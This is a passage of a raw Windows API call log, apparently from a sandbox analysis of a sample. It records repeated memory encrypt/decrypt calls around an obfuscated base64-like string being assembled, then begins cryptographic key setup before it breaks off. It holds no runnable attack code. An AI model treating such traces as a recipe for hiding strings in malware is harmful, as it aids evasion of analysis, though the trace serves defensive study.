(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.235] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.235] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.235] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.236] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.236] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.236] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.236] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.236] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.236] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.236] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.236] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.237] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.237] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.237] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.237] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.237] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.237] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.237] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.237] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.237] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.237] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.237] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.237] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.238] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.238] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.238] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.238] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.238] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.238] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.238] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.238] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.238] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.239] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.239] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.239] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.239] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.239] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.239] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.239] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.239] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.239] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.239] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.239] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.240] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.240] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.240] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.240] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.240] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.240] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.240] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.240] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.240] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.240] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.241] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.241] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.241] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.241] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.241] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.241] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.241] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.241] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.241] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.241] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.241] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.241] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.241] SystemFunction041 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.242] SystemFunction040 (in: Memory=0x438350c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438350c) returned 0x0 [0135.242] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.242] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.242] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.242] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.242] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.242] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.242] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.242] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.242] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.242] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.243] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.243] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02828) returned 1 [0135.243] CryptImportKey (in: hProv=0x8e02828, 